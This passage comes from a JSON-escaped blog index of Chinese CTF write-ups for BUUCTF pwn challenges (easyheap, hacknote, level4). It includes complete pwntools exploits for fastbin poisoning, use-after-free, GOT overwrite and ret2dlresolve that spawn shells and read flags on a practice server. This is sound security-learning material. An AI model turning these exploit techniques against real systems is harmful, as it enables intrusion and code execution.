r.sendlineafter(b\u0026#34;index :\u0026#34;,str(index)) r.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;,str(size)) r.sendlineafter(b\u0026#39;Content of heap:\u0026#39;,content) def delete(index): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;3\u0026#39;) r.sendlineafter(b\u0026#34;Index :\u0026#34;,str(index)) def exit(): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;4\u0026#39;) def cat_flag(): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;4870\u0026#39;) 结合2-2-2来看，先申请几个堆块，前面几个都是0x10，最后一个0x80.把1，2，free了。。。。后面去看2-2-2：wp 原本打算这么写的：\ncreate(16,b\u0026#39;\u0026#39;) #0 create(16,b\u0026#39;\u0026#39;) #1 create(16,b\u0026#39;\u0026#39;) #2 create(16,b\u0026#39;\u0026#39;) #3 create(128,b\u0026#39;\u0026#39;) #4 delete(1) delete(2) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) fill(0,len(payload),payload) payload=p64(0)*3+p64(0x21) fill(3,len(payload),payload) create(16,b\u0026#39;\u0026#39;) create(16,b\u0026#39;\u0026#39;) payload=p64(0)*3+p64(0x91) edit(3,len(payload),payload) create(128,b\u0026#39;\u0026#39;) delete(4) dump(2) mainarena88=u64(p.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) mainarena=mainarena88-88 malloc_hook=mainarena-0x10 libc=LibcSearcher(\u0026#39;__malloc_hook\u0026#39;,malloc_hook) libcbase=malloc_hook-libc.dump(\u0026#39;__malloc_hook\u0026#39;) create(96,b\u0026#39;\u0026#39;) delete(4) payload=p64(malloc_hook-35) edit(2,len(payload),payload) create(96,b\u0026#39;\u0026#39;) create(96,b\u0026#39;\u0026#39;) system=libcbase+0x4526a payload=p64(0)*2+p8(0)*3+p64(system) edit(6,len(payload),payload) create(1,b\u0026#39;\u0026#39;) Pasted image 20260417091658.png Pasted image 20260417092210.png 但是发现一个问题，他没给输出函数，没法让他把mainarena直接交出来 那就只能用他本身的设计的漏洞 一个 free chunk 被取走后，下一次 malloc 有可能返回它的 fd 指向的位置。 fd 控制的是“下一次分配到哪”， 不是“当前写入自动延伸到哪”。 只要把fd改到magic就结了。\nmagic = elf.symbols[\u0026#34;magic\u0026#34;] 试着写了下面的脚本：\ncreate(0x10,b\u0026#39;\u0026#39;) #0 create(0x60,b\u0026#39;\u0026#39;) #1 delete(1) payload = p64(0)*3 + p64(0x71) + p64(magic-0X10) edit(0, len(payload), payload) create(0x60,b\u0026#39;\u0026#39;) payload = p64(0x1306) create(0x30,payload) Pasted image 20260417100722.png 说明magic已经写进去了 但是实际上不能写在整数地址，可能会有检查，所以搞一个错位地址 为什么一定是-16-3呢\nmagic-16-3 读到的大致是 0x7f magic-16-4 读到的大致是 0x7fff 本质区别是： 从 0x6020b5 开始读时，只吃到 stdin 地址的高 3 个字节，结果是个很小的值 从 0x6020b4 开始读时，多吃进了一个 0xff，结果直接变成了 0x7fff 大概就是这样。 exp1： from pwn import * elf = ELF(\u0026#39;./easyheap\u0026#39;) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) r = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 29649) #r = process(\u0026#39;./easyheap\u0026#39;) def dbg(): gdb.attach(r) pause() def create(size,content): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;,str(size)) #不行就把str删了 r.sendlineafter(b\u0026#39;Content of heap:\u0026#39;,content) def edit(index, size, content): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;, b\u0026#34;2\u0026#34;) r.sendlineafter(b\u0026#34;Index :\u0026#34;, str(index).encode()) r.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;, str(size).encode()) r.sendafter(b\u0026#34;Content of heap : \u0026#34;, content) def delete(index): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;3\u0026#39;) r.sendlineafter(b\u0026#34;Index :\u0026#34;,str(index)) def exit(): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;4\u0026#39;) def cat_flag(): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;4869\u0026#39;) magic = elf.symbols[\u0026#34;magic\u0026#34;] #magic = 0x006020C0 #fakechunk = 0x6020AD create(0x10,b\u0026#39;\u0026#39;) #0 create(0x60,b\u0026#39;\u0026#39;) #1 delete(1) payload = p64(0)*3 + p64(0x71) + p64(magic-16-3) edit(0, len(payload), payload) create(0x60,b\u0026#39;\u0026#39;) payload = b\u0026#34;\\x00\u0026#34; * 3 + p64(0x1306) create(0x60, payload) cat_flag() r.interactive() 本来应该就这么结束的，但好像容器没搞好。所以还是要想办法getshell Pasted image 20260417103616.png 想办法改一个函数成system 比方说free codex通解 exp2：\nfrom pwn import * context.binary = elf = ELF(\u0026#39;./easyheap\u0026#39;) context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27663) def add(size, content): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Size of Heap : \u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;Content of heap:\u0026#39;, content) def edit(index, size, content): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index).encode()) io.sendlineafter(b\u0026#39;Size of Heap : \u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;Content of heap : \u0026#39;, content) def delete(index): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index).encode()) add(0x60, b\u0026#39;a\u0026#39;) # 0 add(0x60, b\u0026#39;a\u0026#39;) # 1 add(0x60, b\u0026#39;a\u0026#39;) # 2 delete(2) payload = b\u0026#39;A\u0026#39; * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad) edit(1, len(payload), payload) add(0x60, b\u0026#39;a\u0026#39;) # 2 add(0x60, b\u0026#39;A\u0026#39; * 0x23 + p64(elf.got[\u0026#39;free\u0026#39;])) # 3 edit(0, 8, p64(elf.plt[\u0026#39;system\u0026#39;])) edit(1, len(b\u0026#39;cat /flag\\x00\u0026#39;), b\u0026#39;cat /flag\\x00\u0026#39;) delete(1) io.interactive() ","date":"April 17, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-3/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776384000,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import * context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;) p = process(\u0026#39;./hacknote\u0026#39;) # p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,27442) def dbg(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;, str(1)) p.sendlineafter(b\u0026#39;Note size :\u0026#39;, str(size)) p.sendafter(b\u0026#39;Content :\u0026#39;, content) def delete(index): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;, str(2)) p.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index)) def print(index): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;,str(3)) p.sendlineafter(b\u0026#39;Index :\u0026#39;,str(index)) add(24,b\u0026#39;a\u0026#39;) add(24,b\u0026#39;a\u0026#39;) add(72,b\u0026#39;a\u0026#39;) dbg() p.interactive() 来看看结构长什么样 Pasted image 20260417155338.png\npwndbg\u0026gt; x/32gx 0x8bb5000 0x8bb5000: 0x0000001100000000 0x08bb5018080485fb 0x8bb5010: 0x0000002100000000 0x0000000000000061 0x8bb5020: 0x0000000000000000 0x0000000000000000 0x8bb5030: 0x0000001100000000 0x08bb5048080485fb 0x8bb5040: 0x0000002100000000 0x0000000000000061 0x8bb5050: 0x0000000000000000 0x0000000000000000 0x8bb5060: 0x0000001100000000 0x08bb5078080485fb 0x8bb5070: 0x0000005100000000 0x0000000000000061 0x8bb5080: 0x0000000000000000 0x0000000000000000 0x8bb5090: 0x0000000000000000 0x0000000000000000 0x8bb50a0: 0x0000000000000000 0x0000000000000000 0x8bb50b0: 0x0000000000000000 0x0000000000000000 0x8bb50c0: 0x00020f4100000000 0x0000000000000000 0x8bb50d0: 0x0000000000000000 0x0000000000000000 0x8bb50e0: 0x0000000000000000 0x0000000000000000 0x8bb50f0: 0x0000000000000000 0x0000000000000000 78f540022a9e412d894136b340cbeb4b.png 7430d9f179b24b25a7d45f72f625dae8.png 题目给了一个写好的后门，magic = 0x08048945： Pasted image 20260417185442.png 理一下思路： （1）申请几个堆块，程序是32位的，先申请四个大小为40的chunk，delete（0）（1） （2）add（40，payload），申请（0）的同时把（1）的fd改成magic （3）add(40,b\u0026rsquo;a\u0026rsquo;)触发magic\n来看申请的堆块长啥样：\npwndbg\u0026gt; x/32gx 0x92d5000 0x92d5000: 0x0000001100000000 0x092d5018080485fb 0x92d5010: 0x0000003100000000 0x0000000041414141 0x92d5020: 0x0000000000000000 0x0000000000000000 0x92d5030: 0x0000000000000000 0x0000000000000000 0x92d5040: 0x0000001100000000 0x092d5058080485fb 0x92d5050: 0x0000003100000000 0x0000000041414141 0x92d5060: 0x0000000000000000 0x0000000000000000 0x92d5070: 0x0000000000000000 0x0000000000000000 0x92d5080: 0x0000001100000000 0x092d5098080485fb 0x92d5090: 0x0000003100000000 0x0000000041414141 11395cfb748f448fb829ac6be3795321.png 这样的重复三个。bk固定是0x080485FB\npayload = b\u0026#39;A\u0026#39; * 40 + p32(0x11) + p32(0) + p32(magic) + p32(bk) 在只delete(0)(1)的时候是这样的 Pasted image 20260417192235.png 尝试修改fd，把payload发过去 Pasted image 20260417192117.png 很好我们失败了 如果delete的是（1）（2）会变成这样 Pasted image 20260417192516.png 他add是先申请index大的。 申请一个add（8，magic）会给最开始的那个chunk的bk覆盖掉 如果这么做就会得到： Pasted image 20260417194553.png 说明确实magic写进去了，\nresult = *((_DWORD *)\u0026amp;notelist + v2); if ( result ) return (**((int (__cdecl ***)(_DWORD))\u0026amp;notelist + v2))(*((_DWORD *)\u0026amp;notelist + v2)); return result; 而print 的这一段将chunk的第一个4字节当作指令执行，输出第二个4字节写的地址对应的内容。（没看懂，佬说的） 所以只要print（0）就能getshell了 exp：\nfrom pwn import * from LibcSearcher import * context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;) #p = process(\u0026#39;./hacknote\u0026#39;) p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,28793) def dbg(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;, str(1)) p.sendlineafter(b\u0026#39;Note size :\u0026#39;, str(size)) p.sendafter(b\u0026#39;Content :\u0026#39;, content) def delete(index): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;, str(2)) p.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index)) def print(index): p.sendlineafter(b\u0026#39;Your choice :\u0026#39;,str(3)) p.sendlineafter(b\u0026#39;Index :\u0026#39;,str(index)) magic = 0x08048945 add(40,b\u0026#39;AAAA\u0026#39;) add(40,b\u0026#39;AAAA\u0026#39;) add(40,b\u0026#39;AAAA\u0026#39;) delete(0) delete(1) add(8,p32(magic)) print(0) #dbg() p.interactive() ","date":"April 17, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-4/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776384000,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"这题的做法应当不只一种 本来其实可以尝试ret2libc的。他有read和write可惜可以溢出的长度不太够，构造不了ret2libc。ret2libc需要的字节数一般都是几十个，比如：\n64位write：payload = b\u0026#39;A\u0026#39; * offset + p64(ret_addr) + p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(got) + p64(4) + p64(plt) + p64(main_addr) #栈溢出后64个字节 64位puts：payload = b\u0026#39;A\u0026#39; * offset + p64(pop_rdi) +p64(puts_got) + p64(puts_plt) + p64(main_addr) #栈溢出后24个 32位puts：payload = b\u0026#39;A\u0026#39; * offset+ p32(puts_plt) + p32(main) + p32(puts_got) #12个 32位write：p2 = cyclic(0x88 + 4) + flat([write_plt, main, 1, write_got, 4]) #20个 这题只给到了0x12，write，显然是不够的。于是涉及到了新的一类题型：ret2dlresolve，对应函数dl_runtime_resolve。关于这个函数可以看下面的几个笔记：\nDynELF-1 _dl_runtime_resolve如何找到函数 ret2dlresolve 简单的来说就是篡改got.plt或者什么的让原本的指令运行另外的指令，有一种改映射表的感觉。这个做法的前提是没有开Full RELRO，got表可写。 dl_runtime_resolve方法的总体流程大概是，调用一个函数的时候，程序入口为plt0,紧跟着plt0是一个偏移，指向重定向表的。重定向表有两个值，第一个为函数的got地址，第二个也是一个偏移，这个偏移指向sym表。最后根据sym表的第一个偏移找到str表，然后str表就会去找这个字符串对应的函数，最后就去libc库找对应的地址。 Pasted image 20260416101817.png 老老实实按给出的脚本去找东西，这类题也是贴模板 然后那个strtab就是.dynstr\nfrom pwn import * elf = ELF(\u0026#39;./level4\u0026#39;) context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) select = 1 if select == 0: r = process( \u0026#39;./pwn\u0026#39; ) #libc = ELF(local_libc) else: r = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 28980) #libc = ELF(remote_libc) #elf = ELF(local_file) def dbg(): gdb.attach(p) pause() offset = 0x88 + 4 read_plt = elf.plt[\u0026#39;read\u0026#39;] write_plt = elf.plt[\u0026#39;write\u0026#39;] ppp_ret = 0x08048509 # ROPgadget --binary level4 --only \u0026#34;pop|ret\u0026#34; pop_ebp_ret = 0x0804850b leave_ret = 0x080483b8 # ROPgadget --binary level4 --only \u0026#34;leave|ret\u0026#34; stack_size = 0x800 #chose one,equals creating an stack bss_addr = 0x0804a024 # readelf -S level4 | grep \u0026#34;.bss\u0026#34; base_stage = bss_addr + stack_size #r = process(\u0026#39;./level4\u0026#39;) #r.recvuntil(b\u0026#39;Hello, World!\\n\u0026#39;) # 把payload2写入bss段，并把栈迁移到bss段 payload = flat(\u0026#39;A\u0026#39; * offset, p32(read_plt), p32(ppp_ret), p32(0), p32(base_stage), p32(100), p32(pop_ebp_ret), p32(base_stage), p32(leave_ret)) r.sendline(payload) cmd = b\u0026#34;/bin/sh\\x00\u0026#34; plt_0 = 0x08048300 # objdump -d -j .plt level4 rel_plt = 0x80482b0 # objdump -s -j .rel.plt level4 dynsym = 0x080481cc # readelf -S level4 strtab = 0x0804822C #readelf -S level4 fake_write_addr = base_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got[\u0026#39;write\u0026#39;] align = 0x10 - ((base_stage + 36 - dynsym) % 16) fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐（即两者的差值能被16整除），因为结构体sym的大小都是16字节 r_info = ((((fake_sym_addr - dynsym)//16) \u0026lt;\u0026lt; 8) | 0x7) # 使其最低位为7，通过检测 fake_write_rel = flat(p32(r_offset), p32(r_info)) fake_write_str_addr = base_stage + 36 + align + 0x10 fake_name = fake_write_str_addr - strtab fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12)) fake_write_str = b\u0026#39;system\\x00\u0026#39; payload2 = flat(b\u0026#39;AAAA\u0026#39; , p32(plt_0) , fake_arg , p32(ppp_ret) , p32(base_stage + 80) , p32(base_stage + 80) , p32(len(cmd)) , fake_write_rel # base_stage + 28 , b\u0026#39;A\u0026#39; * align # 用于对齐的填充 , fake_sym # base_stage + 36 + align , fake_write_str # 伪造出的字符串 ) payload2 += flat(b\u0026#39;A\u0026#39; * (80-len(payload2)) , cmd) payload2 += flat(b\u0026#39;A\u0026#39; * (100-len(payload2))) r.sendline(payload2) r.interactive() 参考文章：\njarvisoj_level4\u0026ndash;buuctf 一种比较麻烦的Rop链构造——ret2dlresolve ","date":"April 16, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-2/2-3-2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776297600,"title":"2-3-2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" level4 详细 WP 题目信息 题目文件：level4 远程环境：node5.buuoj.cn:28980 程序类型：32-bit ELF 目标：利用程序漏洞拿到 shell，并读取 flag 最终拿到的 flag：\nflag{7615020a-7615-462f-8ed9-00f7f5f2f16f} 一、程序分析 先看程序保护：\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 可以得到几个关键信息：\n32位程序 无 Canary，说明栈溢出后不需要绕过栈保护 NX 开启，说明不能直接在栈上执行 shellcode No PIE，说明程序基址固定，ROP 地址稳定 Partial RELRO，GOT 仍有一定利用价值 这类题的常规思路就是：\n找到栈溢出点 由于 NX 开启，转而使用 ROP 如果没有现成 system、/bin/sh，就考虑： 泄漏 libc 后 ret2libc 或者直接 ret2dlresolve 这题非常适合 ret2dlresolve\n二、漏洞点分析 关键函数反汇编如下：\n0x804844b:\tpush\tebp 0x804844c:\tmov\tebp, esp 0x804844e:\tsub\tesp, 0x88 0x8048454:\tsub\tesp, 4 0x8048457:\tpush\t0x100 0x804845c:\tlea\teax, [ebp - 0x88] 0x8048462:\tpush\teax 0x8048463:\tpush\t0 0x8048465:\tcall\t0x8048310 ; read 0x804846a:\tadd\tesp, 0x10 0x804846d:\tnop 0x804846e:\tleave 0x804846f:\tret 这段逻辑很清楚：\nchar buf[0x88]; read(0, buf, 0x100); 问题在于：\n栈上只分配了 0x88 字节 却读入了 0x100 字节 因此存在明显的栈溢出\n三、覆盖偏移计算 局部变量大小是：\nbuf = 0x88 saved ebp = 4 所以返回地址偏移为：\noffset = 0x88 + 4 = 0x8c 即：\noffset = 0x88 + 4 只要输入超过 0x8c 字节，就可以控制返回地址。\n四、为什么选择 ret2dlresolve 这题导入的函数很少，主要有：\nread write 如果走传统 ret2libc，通常需要：\n先泄漏某个 libc 地址 再次构造 payload 回到程序 计算 libc base 调用 system(\u0026quot;/bin/sh\u0026quot;) 但这题本身很适合 ret2dlresolve，因为：\n程序是动态链接 有 plt[0] 有 .rel.plt、.dynsym、.dynstr 可以伪造重定位条目和符号表项 直接让动态链接器帮我们解析 system 这样就不依赖远程 libc 版本，做起来更稳。\n五、利用思路总览 整体分两阶段：\n第一阶段 利用栈溢出，构造 ROP：\n调用 read(0, base_stage, 100)\n把第二阶段 payload 读入 .bss 将 ebp 改为 .bss 上的新栈地址 执行 leave; ret 完成栈迁移 第二阶段 在 .bss 上伪造：\nElf32_Rel Elf32_Sym 字符串 \u0026quot;system\\x00\u0026quot; 再通过调用 plt[0] 触发动态解析，最终等价于调用：\nsystem(\u0026#34;/bin/sh\u0026#34;) 拿到 shell 后执行：\ncat flag 六、关键地址整理 从程序中可得到：\nread_plt = 0x08048310 write_got = 0x0804a018 plt_0 = 0x08048300 pop3_ret = 0x08048509 pop_ebp_ret = 0x0804850b leave_ret = 0x080483b8 .bss = 0x0804a024 .rel.plt = 0x080482b0 .dynsym = 0x080481cc .dynstr = 0x0804822c 其中 gadget 对应关系：\n0x8048509: pop esi 0x804850a: pop edi 0x804850b: pop ebp 0x804850c: ret 所以 0x08048509 可以当作连续弹 3 个参数的 gadget 来使用。\n七、第一阶段：栈迁移 1. 为什么要栈迁移 第一次 read 最多只能输入 0x100 字节，空间有限，不太适合塞完整的 ret2dlresolve 伪造结构。\n因此更稳的做法是：\n第一阶段只负责“搭桥” 第二阶段把完整结构写到 .bss 再把栈切换过去 2. 第一阶段 ROP 构造如下：\npayload1 = flat( b\u0026#34;A\u0026#34; * offset, p32(read_plt), # read(0, base_stage, 100) p32(pop3_ret), p32(0), p32(base_stage), p32(100), p32(pop_ebp_ret), # ebp = base_stage p32(base_stage), p32(leave_ret) # esp = ebp; ret ) 逻辑解释：\n第一步：调用 read read(0, base_stage, 100) 把第二阶段内容写到 .bss\n第二步：修改 ebp pop ebp ; ret 令：\nebp = base_stage 第三步：leave; ret leave 等价于：\nmov esp, ebp pop ebp 于是栈就被迁移到 .bss 区域了，之后程序会从 .bss 上继续取返回地址和参数。\n八、第二阶段：ret2dlresolve 原理 ret2dlresolve 的核心思想是：\n手工伪造动态链接器需要的结构体，让解析器帮我们把 system 解析出来。\n动态链接时，PLT 会借助以下几个区域：\n.plt .rel.plt .dynsym .dynstr 当程序调用某个未解析函数时，会进入 plt[0]，然后动态链接器根据重定位表去解析真正地址。\n如果我们能伪造一个假的重定位项和假的符号表项，再让解析器去处理它，就能让它帮我们解析出 system。\n九、ret2dlresolve 需要伪造什么 1. 伪造重定位表项 Elf32_Rel Elf32_Rel 大小 8 字节：\ntypedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; 构造：\nr_offset：写解析结果的位置 r_info：指向伪造的符号表项，并指定类型 这里一般把 r_offset 设为某个 GOT 表项，比如 write@got\nfake_rel = flat( p32(write_got), p32(r_info) ) 2. 伪造符号表项 Elf32_Sym Elf32_Sym 大小 16 字节：\ntypedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym; 重点只需要 st_name 有效，指向字符串 \u0026quot;system\u0026quot; 在 .dynstr 中的偏移。\nfake_sym = flat( p32(fake_str_addr - strtab), p32(0), p32(0), p32(0x12) ) 3. 伪造字符串 \"system\\x00\" b\u0026#34;system\\x00\u0026#34; 十、对齐问题 这是 ret2dlresolve 里最容易出错的点。\nElf32_Sym 要求按 16 字节对齐，所以通常需要计算一个 align：\nalign = (0x10 - ((base_stage + 36 - dynsym) \u0026amp; 0xf)) \u0026amp; 0xf fake_sym_addr = base_stage + 36 + align 如果不对齐，动态链接器解析时很容易崩溃。\n十一、第二阶段 payload 构造 关键代码如下：\ncmd = b\u0026#34;/bin/sh\\x00\u0026#34; fake_rel_addr = base_stage + 28 align = (0x10 - ((base_stage + 36 - DYNSYM) \u0026amp; 0xF)) \u0026amp; 0xF fake_sym_addr = base_stage + 36 + align fake_str_addr = fake_sym_addr + 0x10 r_info = (((fake_sym_addr - DYNSYM) // 0x10) \u0026lt;\u0026lt; 8) | 0x7 fake_rel = flat(p32(WRITE_GOT), p32(r_info)) fake_sym = flat(p32(fake_str_addr - STRTAB), p32(0), p32(0), p32(0x12)) payload2 = flat( b\u0026#34;AAAA\u0026#34;, p32(PLT0), p32(fake_rel_addr - REL_PLT), p32(POP3_RET), p32(base_stage + 80), p32(base_stage + 80), p32(len(cmd)), fake_rel, b\u0026#34;A\u0026#34; * align, fake_sym, b\u0026#34;system\\x00\u0026#34;, ) payload2 = payload2.ljust(80, b\u0026#34;A\u0026#34;) + cmd payload2 = payload2.ljust(100, b\u0026#34;A\u0026#34;) 十二、为什么这样布置栈 第二阶段迁移到 .bss 后，栈布局大概如下：\nbase_stage: \u0026#34;AAAA\u0026#34; -\u0026gt; 被 leave/pop ebp 吃掉 PLT0 -\u0026gt; ret 到这里，进入动态解析 reloc_arg -\u0026gt; 告诉解析器去处理哪个重定位项 POP3_RET -\u0026gt; system 返回后的地址 arg1 = base_stage+80 -\u0026gt; system(\u0026#34;/bin/sh\u0026#34;) 的参数 arg2 = base_stage+80 -\u0026gt; 给 POP3_RET 凑栈 arg3 = len(cmd) -\u0026gt; 给 POP3_RET 凑栈 fake_rel padding fake_sym \u0026#34;system\\x00\u0026#34; ... \u0026#34;/bin/sh\\x00\u0026#34; 注意这里：\n1. PLT0 调用方式本质上类似：\ndl_runtime_resolve(reloc_index) 2. reloc_arg 传的是：\nfake_rel_addr - rel_plt 因为动态解析器是通过 .rel.plt 基址加偏移去找条目的。\n3. system 参数 当解析结束后，控制流会跳到解析得到的 system，其栈上参数就是：\np32(base_stage + 80) 即指向 /bin/sh\\x00\n十三、完整 exp from pwn import * context.clear(arch=\u0026#34;i386\u0026#34;, os=\u0026#34;linux\u0026#34;) context.log_level = \u0026#34;info\u0026#34; HOST = \u0026#34;node5.buuoj.cn\u0026#34; PORT = 28980 elf = ELF(\u0026#34;./level4\u0026#34;) OFFSET = 0x88 + 4 READ_PLT = elf.plt[\u0026#34;read\u0026#34;] WRITE_GOT = elf.got[\u0026#34;write\u0026#34;] PLT0 = 0x08048300 POP3_RET = 0x08048509 POP_EBP_RET = 0x0804850B LEAVE_RET = 0x080483B8 BSS = elf.get_section_by_name(\u0026#34;.bss\u0026#34;).header.sh_addr REL_PLT = elf.get_section_by_name(\u0026#34;.rel.plt\u0026#34;).header.sh_addr DYNSYM = elf.get_section_by_name(\u0026#34;.dynsym\u0026#34;).header.sh_addr STRTAB = elf.get_section_by_name(\u0026#34;.dynstr\u0026#34;).header.sh_addr STACK_SIZE = 0x800 BASE_STAGE = BSS + STACK_SIZE def build_stage1(): chain = flat( b\u0026#34;A\u0026#34; * OFFSET, p32(READ_PLT), p32(POP3_RET), p32(0), p32(BASE_STAGE), p32(100), p32(POP_EBP_RET), p32(BASE_STAGE), p32(LEAVE_RET), ) return chain.ljust(0x100, b\u0026#34;A\u0026#34;) def build_stage2(): cmd = b\u0026#34;/bin/sh\\x00\u0026#34; fake_rel_addr = BASE_STAGE + 28 align = (0x10 - ((BASE_STAGE + 36 - DYNSYM) \u0026amp; 0xF)) \u0026amp; 0xF fake_sym_addr = BASE_STAGE + 36 + align fake_str_addr = fake_sym_addr + 0x10 r_info = (((fake_sym_addr - DYNSYM) // 0x10) \u0026lt;\u0026lt; 8) | 0x7 fake_rel = flat(p32(WRITE_GOT), p32(r_info)) fake_sym = flat(p32(fake_str_addr - STRTAB), p32(0), p32(0), p32(0x12)) payload = flat( b\u0026#34;AAAA\u0026#34;, p32(PLT0), p32(fake_rel_addr - REL_PLT), p32(POP3_RET), p32(BASE_STAGE + 80), p32(BASE_STAGE + 80), p32(len(cmd)), fake_rel, b\u0026#34;A\u0026#34; * align, fake_sym, b\u0026#34;system\\x00\u0026#34;, ) payload = payload.ljust(80, b\u0026#34;A\u0026#34;) + cmd return payload.ljust(100, b\u0026#34;A\u0026#34;) io = remote(HOST, PORT) io.send(build_stage1()) io.send(build_stage2()) io.interactive() 如果想直接读 flag，也可以这样：\nio = remote(HOST, PORT) io.send(build_stage1()) io.send(build_stage2()) io.sendline(b\u0026#34;cat flag\u0026#34;) io.interactive() 十四、利用过程总结 整个攻击链可以概括为：\nread(0, buf, 0x100) 触发栈溢出 覆盖返回地址，执行第一阶段 ROP 第一阶段调用 read(0, .bss, 100)，把第二阶段数据写到 .bss 通过 pop ebp; ret 和 leave; ret 完成栈迁移 第二阶段在 .bss 中伪造： Elf32_Rel Elf32_Sym \u0026quot;system\\x00\u0026quot; 调用 plt[0]，让动态链接器解析 system 解析完成后执行 system(\u0026quot;/bin/sh\u0026quot;) 拿到 shell，读取 flag 十五、这题的考点 这题的核心考点有几个：\n1. 栈溢出基础 看到：\nread(0, buf, 0x100) 且 buf 明显小于 0x100，就要第一时间想到返回地址可控。\n2. NX 开启后的利用方式 不能打 shellcode，就要转向 ROP。\n3. 栈迁移 第一阶段空间不够时，常见手法就是：\n迁移到 .bss 迁移到堆 迁移到可控大缓冲区 4. ret2dlresolve 当程序里没有 system，也不想依赖远程 libc 泄漏时，ret2dlresolve 是非常强的方案。\n十六、易错点 这题有几个很容易出错的地方：\n1. 第一阶段长度 程序第一次 read 读的是 0x100 字节，所以第一阶段最好补到正好 0x100，避免输入残留影响第二次 read。\nreturn chain.ljust(0x100, b\u0026#34;A\u0026#34;) 2. 第二阶段长度 第一阶段 ROP 中第二次 read 读的是 100 字节，所以第二阶段也要控制成正好 100 字节：\nreturn payload.ljust(100, b\u0026#34;A\u0026#34;) 3. Elf32_Sym 对齐 必须按 16 字节对齐，不然大概率崩。\n4. r_info 计算 r_info = (((fake_sym_addr - DYNSYM) // 0x10) \u0026lt;\u0026lt; 8) | 0x7 这里的符号索引和重定位类型都不能写错。\n5. reloc_arg 传给 plt[0] 的不是绝对地址，而是相对于 .rel.plt 的偏移：\nfake_rel_addr - REL_PLT 十七、最终结果 成功拿到 shell 并读出 flag：\nflag{7615020a-7615-462f-8ed9-00f7f5f2f16f} 十八、附：一句话总结 这题本质上是一个：\n32位无 canary 栈溢出 + 栈迁移 + ret2dlresolve 利用链简洁直接，重点在于：\n找准偏移 做好 .bss 栈迁移 正确伪造 Elf32_Rel 和 Elf32_Sym 注意对齐和长度控制 ","date":"April 16, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-2/codex/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776297600,"title":"codex"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" recurse_33c3_2016 WP 保护:\nArch: amd64-64-little RELRO: Full RELRO Stack: No canary 